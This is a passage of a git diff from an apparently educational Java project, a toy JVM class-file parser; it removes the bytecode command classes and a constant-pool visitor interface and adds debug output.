-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java
index fb08ebc8e2..d0c8ef4e32 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java
@@ -2,8 +2,6 @@
 
 
 import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.cmd.ByteCodeCommand;
-import org.xukai.jvm.cmd.CommandParser;
 import org.xukai.jvm.loader.ByteCodeIterator;
 
 public class CodeAttr extends AttributeInfo {
@@ -18,23 +16,21 @@ public String getCode() {
 		return code;
 	}
 
-	private ByteCodeCommand[] cmds ;
-
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
-
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code, ByteCodeCommand[] cmds) {
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		this.cmds = cmds;
+		//this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -52,14 +48,15 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int maxLocals = iter.nextToInt(2);
 		int codeLength = iter.nextToInt(4);
 		String code = iter.nextToString(codeLength);
-		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-		CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, cmds);
+		System.out.println(code);
+		CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
 		int exceptionTableLength = iter.nextToInt(2);
 		if (exceptionTableLength > 0) {
 			iter.nextToInt(exceptionTableLength);
 			System.out.println("解析exception");
 		}
 		int subAttributeCount = iter.nextToInt(2);
+		System.out.println("subAttributeCount" + subAttributeCount);
 		if (subAttributeCount > 0) {
 			for (int i = 0; i < subAttributeCount; i++) {
 				AttributeInfo attributeInfo = AttributeInfo.parseAttribute(iter, clzFile);
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java
index c8777fea97..a2b2dfb515 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java
@@ -81,41 +81,13 @@ public void print(){
 		
 	}
 	
-	public String getClassName(){
+	private String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	public String getSuperClassName(){
+	private String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
-
-	public Method getMethod(String methodName, String paramAndReturnType){
-
-		for(Method m :methods){
-
-			int nameIndex = m.getNameIndex();
-			int descriptionIndex = m.getDescriptorIndex();
-
-			String name = this.getConstantPool().getUTF8String(nameIndex);
-			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
-			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
-				return m;
-			}
-		}
-		return null;
-	}
-	public Method getMainMethod(){
-		for(Method m :methods){
-			int nameIndex = m.getNameIndex();
-			int descIndex = m.getDescriptorIndex();
-			String name = this.getConstantPool().getUTF8String(nameIndex);
-			String desc = this.getConstantPool().getUTF8String(descIndex);
-			if(name.equals("main")  && desc.equals("([Ljava/lang/String;)V")){
-				return m;
-			}
-		}
-		return null;
-	}
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/BiPushCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index bd1eb4bf11..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile, String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/ByteCodeCommand.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index edb68e1256..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,129 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantInfo;
-import org.xukai.jvm.constant.ConstantPool;
-
-import java.util.HashMap;
-import java.util.Map;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/CommandParser.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/CommandParser.java
deleted file mode 100644
index e44fb1e05f..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,156 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
-			throw new RuntimeException("the orignal code is not correct");
-
-		}
-
-		codes = codes.toUpperCase();
-
-		CommandIterator iter = new CommandIterator(codes);
-		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
-
-		while (iter.hasNext()) {
-			String opCode = iter.next2CharAsString();
-
-			if (new_object.equals(opCode)) {
-				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
-
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (invokespecial.equals(opCode)) {
-				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				// System.out.println( cmd.toString(clzFile.getConstPool()));
-				cmds.add(cmd);
-			} else if (invokevirtual.equals(opCode)) {
-				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (getfield.equals(opCode)) {
-				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (getstatic.equals(opCode)) {
-				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (putfield.equals(opCode)) {
-				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (ldc.equals(opCode)) {
-				LdcCmd cmd = new LdcCmd(clzFile, opCode);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (bipush.equals(opCode)) {
-				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
-
-				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
-				cmds.add(cmd);
-			} else {
-				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
-			}
-
-		}
-
-		calcuateOffset(cmds);
-
-		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
-		cmds.toArray(result);
-		return result;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetFieldCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index faa268b0d2..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile, String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetStaticFieldCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 4112f7cc56..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeSpecialCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index 7dd0b62407..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeVirtualCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index 77ba5c7460..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/LdcCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/LdcCmd.java
deleted file mode 100644
index 2d8b1ae2f3..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantInfo;
-import org.xukai.jvm.constant.ConstantPool;
-import org.xukai.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile, String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NewObjectCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 0ac1b33832..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd {
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NoOperandCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 63683e3865..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand {
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/OneOperandCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 6498b64289..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/PutFieldCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 0a5987e4c3..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile, String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/TwoOperandCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index b423f989ae..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package org.xukai.jvm.cmd;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.constant.ClassInfo;
-import org.xukai.jvm.constant.ConstantInfo;
-import org.xukai.jvm.constant.ConstantPool;
-import org.xukai.jvm.constant.FieldRefInfo;
-import org.xukai.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand {
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java
index 1adde177f3..bf7171a966 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java
@@ -15,12 +15,7 @@ public void setUtf8Index(int utf8Index) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);
-	}
-
+	
 	public String getClassName() {		
 		int index = getUtf8Index();
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java
index ffae0e4e83..24323692e9 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java
@@ -25,24 +25,5 @@ public ConstantPool getConstantPool() {
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
-
-	public abstract void accept(Visitor visitor);
-
-	public static interface Visitor {
-
-		public void visitString(StringInfo info);
-
-		public void visitNameAndType(NameAndTypeInfo info);
-
-		public void visitMethodRef(MethodRefInfo info);
-
-		public void visitFieldRef(FieldRefInfo info);
-
-		public void visitClassInfo(ClassInfo info);
-
-		public void visistUTF8(UTF8Info info);
-
-
-	}
 	
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java
index d9cc6f0f56..ff4aa4b906 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public int getSize() {
+	public Object getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java
index d9b5281155..f0b846f47c 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java
@@ -11,12 +11,7 @@ public FieldRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);
-	}
-
+	
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java
index 28b80235d9..a0c02fedaf 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java
@@ -14,12 +14,7 @@ public MethodRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);
-	}
-
+	
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java
index 66d235641d..c88c848d3a 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java
@@ -25,13 +25,8 @@ public void setIndex2(int index2) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-	}
-
-
+	
+	
 	public String getName(){
 		ConstantPool pool = this.getConstantPool();
 		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java
index 732e8a42cf..0aa452b866 100644
